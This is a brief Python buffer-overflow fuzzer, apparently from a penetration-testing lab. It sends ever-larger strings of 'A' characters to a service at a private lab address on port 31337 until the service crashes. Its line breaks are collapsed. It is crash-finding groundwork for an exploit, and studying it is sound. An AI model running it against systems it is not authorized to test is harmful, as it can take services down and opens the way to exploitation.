#!/usr/bin/env python import sys, time, socket ip = "192.168.56.102" port = 31337 timeout = 5 prefix = "" counter = 100 string = prefix + "A" * counter while True: try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((ip, port)) print ('[+] Sending buffer') #s.recv(1024) print("Fuzzing with {} bytes".format(len(string) - len(prefix))) s.send(bytes(string + '\r\n', "latin1")) s.recv(1024) except: print ("[!] The program can't be reached") sys.exit(0) string += counter * 'A' time.sleep(1)